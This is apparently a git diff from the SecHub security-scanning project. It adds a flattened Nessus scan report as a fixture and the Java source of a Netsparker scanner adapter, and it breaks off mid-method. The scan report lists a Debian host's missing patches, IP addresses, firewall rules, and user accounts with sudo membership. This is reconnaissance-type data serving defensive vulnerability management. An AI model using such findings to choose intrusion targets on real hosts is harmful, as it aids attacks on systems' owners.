+Additionnaly to those vulnerability, some mitigations for CVE-2017-5753 are included in this release. + + - CVE-2017-5753 Multiple researchers have discovered a vulnerability in various processors supporting speculative execution, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + + This specific attack has been named Spectre variant 1 (bounds-check bypass) and is mitigated in the Linux kernel architecture by identifying vulnerable code sections (array bounds checking followed by array access) and replacing the array access with the speculation-safe array_index_nospec() function. + + More use sites will be added over time. +4120 +true +Exploits are available +true +debian_DSA-4120.nasl +2018-A-0019 +2018-A-0020 +true +2018/02/22 +2018/02/26 +Debian DSA-4120-1 : linux - security update (Meltdown) (Spectre) +2018/02/23 +local +Medium +$Revision: 3.2 $ +https://security-tracker.debian.org/tracker/CVE-2017-5715 +https://security-tracker.debian.org/tracker/CVE-2017-5754 +https://security-tracker.debian.org/tracker/CVE-2017-13166 +https://security-tracker.debian.org/tracker/CVE-2018-5750 +https://security-tracker.debian.org/tracker/CVE-2017-5753 +https://security-tracker.debian.org/tracker/CVE-2017-5753 +https://security-tracker.debian.org/tracker/linux +https://packages.debian.org/source/stretch/linux +http://www.debian.org/security/2018/dsa-4120 +Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.82-1+deb9u2. +I +The remote Debian host is missing a security-related update. +DSA:4120 +IAVA:2018-A-0019 +IAVA:2018-A-0020 + +Remote package installed : linux-compiler-gcc-6-x86_4.9.51-1 +Should be : linux-compiler-gcc-6-x86_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-3-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-3-common_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-4-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-4-common_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-5-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-5-common_4.9.82-1+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-3-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-4-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-5-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-kbuild-4.9_4.9.51-1 +Should be : linux-kbuild-4.9_4.9.82-1+deb9u2 +Remote package installed : linux-libc-dev_4.9.51-1 +Should be : linux-libc-dev_4.9.82-1+deb9u2 + + + +p-cpe:/a:debian:debian_linux:libxcursor +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-16612 +7.5 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H +5.0 +CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P +It was discovered that libXcursor, a X cursor management library, is prone to several heap overflows when parsing malicious files. An attacker can take advantage of these flaws for arbitrary code execution, if a user is tricked into processing a specially crafted cursor file. +4059 +debian_DSA-4059.nasl +2017/12/08 +2018/01/29 +Debian DSA-4059-1 : libxcursor - security update +2017/12/11 +local +Medium +$Revision: 3.3 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883792 +https://security-tracker.debian.org/tracker/libxcursor +https://packages.debian.org/source/jessie/libxcursor +https://packages.debian.org/source/stretch/libxcursor +http://www.debian.org/security/2017/dsa-4059 +Upgrade the libxcursor packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 1:1.1.14-1+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 1:1.1.14-1+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4059 + +Remote package installed : libxcursor1_1:1.1.14-1+b4 +Should be : libxcursor1_1:1.1.14-1+deb9u1 + + + +p-cpe:/a:debian:debian_linux:libxml2 +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-15412 +Nick Wellnhofer discovered that certain function calls inside XPath predicates can lead to use-after-free and double-free errors when executed by libxml2's XPath engine via an XSLT transformation. +4086 +debian_DSA-4086.nasl +2018/01/13 +2018/01/15 +Debian DSA-4086-1 : libxml2 - security update +2018/01/15 +local +High +$Revision: 3.1 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883790 +https://security-tracker.debian.org/tracker/libxml2 +https://packages.debian.org/source/jessie/libxml2 +https://packages.debian.org/source/stretch/libxml2 +http://www.debian.org/security/2018/dsa-4086 +Upgrade the libxml2 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.9.1+dfsg1-5+deb8u6. + +For the stable distribution (stretch), this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u2. +The remote Debian host is missing a security-related update. +DSA:4086 + +Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u1 +Should be : libxml2_2.9.4+dfsg1-2.2+deb9u2 +Remote package installed : libxml2-dev_2.9.4+dfsg1-2.2+deb9u1 +Should be : libxml2-dev_2.9.4+dfsg1-2.2+deb9u2 + + + +p-cpe:/a:debian:debian_linux:bind9 +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-3145 +Jayachandran Palanisamy of Cygate AB reported that BIND, a DNS server implementation, was improperly sequencing cleanup operations, leading in some cases to a use-after-free error, triggering an assertion failure and crash in named. +4089 +debian_DSA-4089.nasl +2018-A-0024 +2018/01/16 +2018/01/22 +Debian DSA-4089-1 : bind9 - security update +2018/01/17 +local +High +$Revision: 3.2 $ +https://security-tracker.debian.org/tracker/bind9 +https://packages.debian.org/source/jessie/bind9 +https://packages.debian.org/source/stretch/bind9 +http://www.debian.org/security/2018/dsa-4089 +Upgrade the bind9 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 1:9.9.5.dfsg-9+deb8u15. + +For the stable distribution (stretch), this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u4. +I +The remote Debian host is missing a security-related update. +DSA:4089 +IAVA:2018-A-0024 + +Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4 + + + +all +This plugin reports a device's hostname collected via SSH or WMI. +wmi_system_hostname.nbin +2018/02/13 +Device Hostname +2011/06/30 +local +None +$Revision: 1.95 $ +n/a +It was possible to determine the remote system hostname. + + Hostname : abcvy031 + abcvy031 (hostname command) + + +p-cpe:/a:debian:debian_linux:tiff +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-11335 +CVE-2017-12944 +CVE-2017-13726 +CVE-2017-13727 +CVE-2017-18013 +CVE-2017-9935 +8.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +6.8 +CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P +Multiple vulnerabilities have been discovered in the libtiff library and the included tools, which may result in denial of service or the execution of arbitrary code. +4100 +debian_DSA-4100.nasl +2018/01/27 +2018/01/29 +Debian DSA-4100-1 : tiff - security update +2018/01/29 +local +Medium +$Revision: 3.1 $ +https://security-tracker.debian.org/tracker/tiff +https://packages.debian.org/source/jessie/tiff +https://packages.debian.org/source/stretch/tiff +http://www.debian.org/security/2018/dsa-4100 +Upgrade the tiff packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 4.0.3-12.3+deb8u5. + +For the stable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u2. +The remote Debian host is missing a security-related update. +DSA:4100 + +Remote package installed : libtiff5_4.0.8-2+deb9u1 +Should be : libtiff5_4.0.8-2+deb9u2 + + + +p-cpe:/a:debian:debian_linux:curl +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2018-1000005 +CVE-2018-1000007 +9.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +6.4 +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P +Two vulnerabilities were discovered in cURL, an URL transfer library. + + - CVE-2018-1000005 Zhouyihai Ding discovered an out-of-bounds read in the code handling HTTP/2 trailers. This issue doesn't affect the oldstable distribution (jessie). + + - CVE-2018-1000007 Craig de Stigter discovered that authentication data might be leaked to third parties when following HTTP redirects. +4098 +debian_DSA-4098.nasl +2018/01/26 +2018/02/20 +Debian DSA-4098-1 : curl - security update +2018/01/29 +local +Medium +$Revision: 3.3 $ +https://security-tracker.debian.org/tracker/CVE-2018-1000005 +https://security-tracker.debian.org/tracker/CVE-2018-1000007 +https://security-tracker.debian.org/tracker/curl +https://packages.debian.org/source/jessie/curl +https://packages.debian.org/source/stretch/curl +http://www.debian.org/security/2018/dsa-4098 +Upgrade the curl packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 7.38.0-4+deb8u9. + +For the stable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u4. +The remote Debian host is missing a security-related update. +DSA:4098 + +Remote package installed : curl_7.52.1-5+deb9u3 +Should be : curl_7.52.1-5+deb9u4 +Remote package installed : libcurl3_7.52.1-5+deb9u3 +Should be : libcurl3_7.52.1-5+deb9u4 +Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u3 +Should be : libcurl3-gnutls_7.52.1-5+deb9u4 +Remote package installed : libcurl4-openssl-dev_7.52.1-5+deb9u3 +Should be : libcurl4-openssl-dev_7.52.1-5+deb9u4 + + + +unix +Nessus was able to enumerate the network interfaces configured with IPv4 addresses by connecting to the remote host via SSH using the supplied credentials. +ifconfig_inet4.nasl +2017/01/26 +Enumerate IPv4 Interfaces via SSH +2007/05/11 +local +None +$Revision: 1.14 $ +Disable any unused IPv4 interfaces. +Nessus was able to enumerate the IPv4 interfaces on the remote host. + +The following IPv4 addresses are set on the remote host : + + - 12.34.14.16 (on interface ens160) + - 127.0.0.1 (on interface lo) + + + +unix +Nessus was able to enumerate the network interfaces configured with IPv6 addresses by connecting to the remote host via SSH using the supplied credentials. +ifconfig_inet6.nasl +2017/01/26 +Enumerate IPv6 Interfaces via SSH +2007/05/11 +local +None +$Revision: 1.16 $ +Disable IPv6 if you are not actually using it. Otherwise, disable any unused IPv6 interfaces. +Nessus was able to enumerate the IPv6 interfaces on the remote host. + +The following IPv6 interfaces are set on the remote host : + + - fe80::250:56ff:feb1:6478 (on interface ens160) + - ::1 (on interface lo) + + + +unix +Using the supplied credentials, Nessus was able to get a list of firewall rules from the remote host. +firewall_rules.nasl +2015/06/02 +Firewall Rule Enumeration +2011/09/28 +local +None +$Revision: 1.9 $ +n/a +A firewall is configured on the remote host. + +By running "lsmod | grep -q _conntrack_ipv4 && iptables -L -n -v -t nat", Nessus was able to get the +following list of firewall rules : + +Chain PREROUTING (policy ACCEPT 16300 packets, 966K bytes) + pkts bytes target prot opt in out source destination + +Chain INPUT (policy ACCEPT 16300 packets, 966K bytes) + pkts bytes target prot opt in out source destination + +Chain OUTPUT (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + +Chain POSTROUTING (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + +By running "lsmod | grep -q iptable_filter && iptables -L -n -v -t filter", Nessus was able to get the +following list of firewall rules : + +Chain INPUT (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + 13M 561M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + 49 1996 DROP all -- * * 0.0.0.0/0 0.0.0.0/0 state INVALID +13326 800K ACCEPT tcp -- * * 12.34.14.0/24 0.0.0.0/0 tcp dpt:8834 + 785 47100 ACCEPT tcp -- * * 53.0.0.0/8 0.0.0.0/0 tcp dpt:8834 + 1240 74400 ACCEPT tcp -- lo * 127.0.0.1 127.0.0.1 tcp dpt:8834 + 0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:8834 + 387 23264 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 + +Chain FORWARD (policy DROP 0 packets, 0 bytes) + pkts bytes target prot opt in out source destination + 0 0 DROP all -- * * 0.0.0.0/0 0.0.0.0/0 state INVALID + 0 0 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + +Chain OUTPUT (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + 13M 575M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + + + +unix +Using the supplied credentials, Nessus was able to enumerate the local users and groups on the remote host. +linux_user_enum.nasl +2017/08/28 +Linux User List Enumeration +2016/12/19 +local +None +1.4 +None +Nessus was able to enumerate local users and groups on the remote host. + +----------[ User Accounts ]---------- + +User : wholoch +Home folder : /home/wholoch +Start script : /bin/bash +Groups : dip + netdev + video + cdrom + audio + sudo + plugdev + floppy + wholoch + +User : therres +Home folder : /home/therres +Start script : /bin/bash +Groups : therres + sudo + +User : kuhnrap +Home folder : /home/kuhnrap +Start script : /bin/bash +Groups : sudo + kuhnrap + +User : postgres +Home folder : /var/lib/postgresql +Start script : /bin/bash +Groups : postgres + ssl-cert + +User : bpa +Home folder : /home/bpa +Start script : /bin/bash +Groups : bpa + sudo + +User : tunnel +Home folder : /var/lib/tunnel +Start script : /usr/sbin/nologin +Groups : tunnel + +User : hannhei +Home folder : /home/hannhei +Start script : /bin/bash +Groups : hannhei + sudo + +User : udf +Home folder : /var/lib/udf +Start script : /bin/bash +Groups : udf + +User : rilliju +Home folder : /home/rilliju +Start script : /bin/bash +Groups : rilliju + sudo + +----------[ System Accounts ]---------- + +User : root +Home folder : /root +Start script : /bin/bash +Groups : root + +User : daemon +Home folder : /usr/sbin +Start script : /usr/sbin/nologin +Groups : daemon + +User : bin +Home folder : /bin +Start script : /usr/sbin/nologin +Groups : bin + +User : sys +Home folder : /dev +Start script : /usr/sbin/nologin +Groups : sys + +User : sync +Home folder : /bin +Start script : /bin/sync +Groups : nogroup + +User : games +Home folder : /usr/games +Start script : /usr/sbin/nologin +Groups : games + +User : man +Home folder : /var/cache/man +Start script : /usr/sbin/nologin +Groups : man + +User : lp +Home folder : /var/spool/lpd +Start script : /usr/sbin/nologin +Groups : lp + +User : mail +Home folder : /var/mail +Start script : /usr/sbin/nologin +Groups : mail + +User : news +Home folder : /var/spool/news +Start script : /usr/sbin/nologin +Groups : news + +User : uucp +Home folder : /var/spool/uucp +Start script : /usr/sbin/nologin +Groups : uucp + +User : proxy +Home folder : /bin +Start script : /usr/sbin/nologin +Groups : proxy + +User : www-data +Home folder : /var/www +Start script : /usr/sbin/nologin +Groups : www-data + +User : backup +Home folder : /var/backups +Start script : /usr/sbin/nologin +Groups : backup + +User : list +Home folder : /var/list +Start script : /usr/sbin/nologin +Groups : list + +User : irc +Home folder : /var/run/ircd +Start script : /usr/sbin/nologin +Groups : irc + +User : gnats +Home folder : /var/lib/gnats +Start script : /usr/sbin/nologin +Groups : gnats + +User : nobody +Home folder : /nonexistent +Start script : /usr/sbin/nologin +Groups : nogroup + +User : systemd-timesync +Home folder : /run/systemd +Start script : /bin/false +Groups : systemd-timesync + +User : systemd-network +Home folder : /run/systemd/netif +Start script : /bin/false +Groups : systemd-network + +User : systemd-resolve +Home folder : /run/systemd/resolve +Start script : /bin/false +Groups : systemd-resolve + +User : systemd-bus-proxy +Home folder : /run/systemd +Start script : /bin/false +Groups : systemd-bus-proxy + +User : _apt +Home folder : /nonexistent +Start script : /bin/false +Groups : nogroup + +User : Debian-exim +Home folder : /var/spool/exim4 +Start script : /bin/false +Groups : Debian-exim + +User : messagebus +Home folder : /var/run/dbus +Start script : /bin/false +Groups : messagebus + +User : sshd +Home folder : /run/sshd +Start script : /usr/sbin/nologin +Groups : nogroup + + + + +p-cpe:/a:debian:debian_linux:gdk-pixbuf +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-1000422 +8.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +6.8 +CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P +It was discovered that multiple integer overflows in the GIF image loader in the GDK Pixbuf library may result in denial of service and potentially the execution of arbitrary code if a malformed image file is opened. +4088 +debian_DSA-4088.nasl +2018/01/15 +2018/01/29 +Debian DSA-4088-1 : gdk-pixbuf - security update +2018/01/16 +local +Medium +$Revision: 3.3 $ +https://security-tracker.debian.org/tracker/CVE-2017-6312 +https://security-tracker.debian.org/tracker/CVE-2017-6313 +https://security-tracker.debian.org/tracker/CVE-2017-6314 +https://security-tracker.debian.org/tracker/gdk-pixbuf +https://packages.debian.org/source/jessie/gdk-pixbuf +https://packages.debian.org/source/stretch/gdk-pixbuf +http://www.debian.org/security/2018/dsa-4088 +Upgrade the gdk-pixbuf packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.31.1-2+deb8u7. + +For the stable distribution (stretch), this problem has been fixed in version 2.36.5-2+deb9u2. In addition this update provides fixes for CVE-2017-6312, CVE-2017-6313 and CVE-2017-6314. +The remote Debian host is missing a security-related update. +DSA:4088 + +Remote package installed : libgdk-pixbuf2.0-0_2.36.5-2+deb9u1 +Should be : libgdk-pixbuf2.0-0_2.36.5-2+deb9u2 +Remote package installed : libgdk-pixbuf2.0-common_2.36.5-2+deb9u1 +Should be : libgdk-pixbuf2.0-common_2.36.5-2+deb9u2 + + + +Nessus was able to login to the remote host using SSH or local commands and extract the list of installed packages. +ssh_get_info2.nasl +2018/01/24 +OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library) +2017/05/30 +remote +None +1.16 +n/a +Information about the remote host can be disclosed via an authenticated session. + +Nessus can run commands on localhost to check if patches are applied. + +The output of "uname -a" is : +Linux abcvy031 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux + +The remote Debian system is : +9.2 + +Local security checks have been enabled for this host. +Runtime : 0.116531 seconds + + + +The name of this machine either does not resolve or resolves to a different IP address. + +This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host. + +As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete. +bad_rdns.nasl +2016/08/05 +Inconsistent Hostname and IP Address +2010/05/03 +remote +None +1.9 +Fix the reverse DNS or host file. +The remote host's hostname is not consistent with DNS information. +The host name 'localhost' does not resolve to an IP address + + +Nessus was able to resolve the fully qualified domain name (FQDN) of the remote host. +fqdn.nasl +2017/04/14 +Host Fully Qualified Domain Name (FQDN) Resolution +2004/02/11 +remote +None +$Revision: 1.16 $ +n/a +It was possible to resolve the name of the remote host. + +127.0.0.1 resolves as localhost. + + + + + + diff --git a/sechub-adapter-netsparker/README.md b/sechub-adapter-netsparker/README.md new file mode 100644 index 0000000000..d8a8e760c7 --- /dev/null +++ b/sechub-adapter-netsparker/README.md @@ -0,0 +1,9 @@ + +About this project +================== + +This an adapter project to access product NETSPARKER. +It has no dependency to any sechub part and can be used as a single command line program too (for test purpose). + +A product executor can use this adapter to access the product. +The adapter itself is pretty dumb and does only now the product stuff... \ No newline at end of file diff --git a/sechub-adapter-netsparker/build.gradle b/sechub-adapter-netsparker/build.gradle new file mode 100644 index 0000000000..78be341859 --- /dev/null +++ b/sechub-adapter-netsparker/build.gradle @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-adapter') +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/MockedNetsparkerAdapter.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/MockedNetsparkerAdapter.java new file mode 100644 index 0000000000..fe542a04c3 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/MockedNetsparkerAdapter.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import org.springframework.context.annotation.Profile; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AdapterProfiles; +import com.daimler.sechub.adapter.mock.AbstractMockedAdapter; + +@Profile(AdapterProfiles.MOCKED_PRODUCTS) +@Component +public class MockedNetsparkerAdapter extends AbstractMockedAdapter + implements NetsparkerAdapter { + + + protected void validateConfigAsDefinedInMockYAML(NetsparkerAdapterConfig config) { + String productBaseURL = config.getProductBaseURL(); + boolean baseURLAsExpected = "https://netsparker.mock.example.org:4000".equals(productBaseURL); + if (!baseURLAsExpected) { + throw new IllegalArgumentException("Netsparker base url not as expected:" + productBaseURL); + } + /* + * the token is for the apiToken'netsparker-api-token' and user id + * 'netsparker-user-id' from application-mock.yml! + */ + if (!"bmV0c3Bhcmtlci11c2VyLWlkOm5ldHNwYXJrZXItYXBpLXRva2Vu".equals(config.getBase64Token())) { + throw new IllegalArgumentException(config.getBase64Token()); + } + if (!"netsparker-default-policiy-id".equals(config.getPolicyId())) { + throw new IllegalArgumentException("Netsparker policy not as expected:" + config.getPolicyId()); + } + if (!"netsparker-license-id".equals(config.getLicenseID())) { + throw new IllegalArgumentException("netsparker-license-id not as expected:" + config.getLicenseID()); + } + String agentGroupName = config.getAgentGroupName(); + boolean agentGroupAsExpected = "netsparker-agent-group-intranet".equals(agentGroupName); + agentGroupAsExpected = agentGroupAsExpected || "netsparker-agent-group-internet".equals(agentGroupName); + if (!agentGroupAsExpected) { + throw new IllegalArgumentException("netsparker agent group name not found but:" + agentGroupName); + } + } + +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapter.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapter.java new file mode 100644 index 0000000000..d571ab1c5d --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapter.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import com.daimler.sechub.adapter.Adapter; + +public interface NetsparkerAdapter extends Adapter{ + +} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterConfig.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterConfig.java new file mode 100644 index 0000000000..99958e750b --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterConfig.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import com.daimler.sechub.adapter.AdapterConfig; + +public interface NetsparkerAdapterConfig extends AdapterConfig{ + + String getLicenseID(); + + String getWebsiteName(); + + String getAgentName(); + + String getAgentGroupName(); + + boolean hasAgentGroup(); + + + +} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterContext.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterContext.java new file mode 100644 index 0000000000..c4a2ac21e5 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterContext.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import com.daimler.sechub.adapter.AdapterContext; + +public interface NetsparkerAdapterContext extends AdapterContext{ + +} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java new file mode 100644 index 0000000000..91c9976d77 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java @@ -0,0 +1,246 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import static org.springframework.http.HttpStatus.*; + +import java.util.Map; +import java.util.TreeMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Profile; +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Component; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.HttpClientErrorException; + +import com.daimler.sechub.adapter.AbstractAdapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.AdapterProfiles; +import com.daimler.sechub.adapter.WaitForStateSupport; + +/** + * This component is able to handle Netsparker API V1 + * + * @author Albert Tregnaghi + * + */ +@Component +@Profile({ AdapterProfiles.REAL_PRODUCTS }) +public class NetsparkerAdapterV1 extends AbstractAdapter + implements NetsparkerAdapter { + + private static final String POLICY_ID = "PolicyId"; + private static final String TARGET_URI = "TargetUri"; + private static final String AGENT_NAME = "AgentName"; + private static final String AGENT_GROUP_NAME = "AgentGroupName"; + private static final String PROPERTY_SCAN_ID = "Id"; + private static final String APICALL_GET_WEBSITE = "websites/get?query="; + private static final String APICALL_CREATE_NEW_WEBSITE = "websites/new"; + private static final String APICALL_CREATE_NEW_SCAN = "scans/new"; + private static final String APICALL_GET_SCAN_STATUS = "scans/status/"; + private static final String APICALL_GET_SCAN_REPORT = "scans/report/"; + + private static final Logger LOG = LoggerFactory.getLogger(NetsparkerAdapterV1.class); + + @Override + public String start(NetsparkerAdapterConfig config) throws AdapterException { + try { + NetsparkerContext context = new NetsparkerContext(config, this); + NetsparkerWaitForStateSupport waitSupport = new NetsparkerWaitForStateSupport(); + ensureNetsparkerWebsiteConfigurationExists(context); + + createNewScanAndFetchId(context); + waitSupport.waitForOK(context); + + fetchReport(context); + + return context.getResult(); + } catch (AdapterException e) { + throw e; + } catch (Exception e) { + throw asAdapterException("Was not able to perform scan!", e, config); + } + + } + + @Override + protected String getAPIPrefix() { + return "api/1.0"; + } + + String extractIDFromScanResult(String body, NetsparkerAdapterContext context) + throws AdapterException { + return context.json().fetchRootNode(body).fetchArrayElement(0).fetch(PROPERTY_SCAN_ID).asText(); + } + + void createWebsite(NetsparkerContext context) throws AdapterException { + NetsparkerAdapterConfig config = context.getConfig(); + String targetURL = config.getTargetAsString(); + String name = config.getWebsiteName(); + String traceID = config.getTraceID(); + + LOG.debug("{} try to create website with targetURL '{}' and name '{}'", traceID, targetURL, name); + MultiValueMap headers = createHeader(config); + + Map json = new TreeMap<>(); + json.put("RootUrl", targetURL); + json.put("Name", name); + json.put("LicenseType", "Subscription"); + json.put("SubscriptionBasedProductLicenseId", config.getLicenseID()); + + String jsonAsString = context.json().toJSON(json); + + HttpEntity request = new HttpEntity<>(jsonAsString, headers); + + String apiUrl = createAPIURL(APICALL_CREATE_NEW_WEBSITE, config); + try { + ResponseEntity response = context.getRestOperations().postForEntity(apiUrl, request, String.class); + if (!CREATED.equals(response.getStatusCode())) { + throw new NetsparkerRESTFailureException(response.getStatusCode(), response.getBody()); + } + } catch (HttpClientErrorException e) { + LOG.error(e.getResponseBodyAsString()); + throw e; + } + } + + void fetchReport(NetsparkerAdapterContext context) { + String traceID = context.getConfig().getTraceID(); + LOG.debug("{} try to fetch report", context.getConfig().getTraceID()); + + String apiUrl = createAPIURL( + APICALL_GET_SCAN_REPORT + context.getProductContextId() + "?Type=Vulnerabilities&Format=Xml", + context.getConfig()); + ResponseEntity response = context.getRestOperations().getForEntity(apiUrl, String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NetsparkerRESTFailureException(response.getStatusCode(), response.getBody()); + } + String body = response.getBody(); + context.setResult(body); + LOG.debug("{} calling fetch report with '{}'", traceID, apiUrl); + } + + private void createNewScanAndFetchId(NetsparkerContext context) throws AdapterException { + NetsparkerAdapterConfig config = context.getConfig(); + String traceID = config.getTraceID(); + + Map json = new TreeMap<>(); + json.put(TARGET_URI, config.getTargetAsString()); + if (config.hasAgentGroup()) { + json.put(AGENT_GROUP_NAME, config.getAgentGroupName()); + } else { + 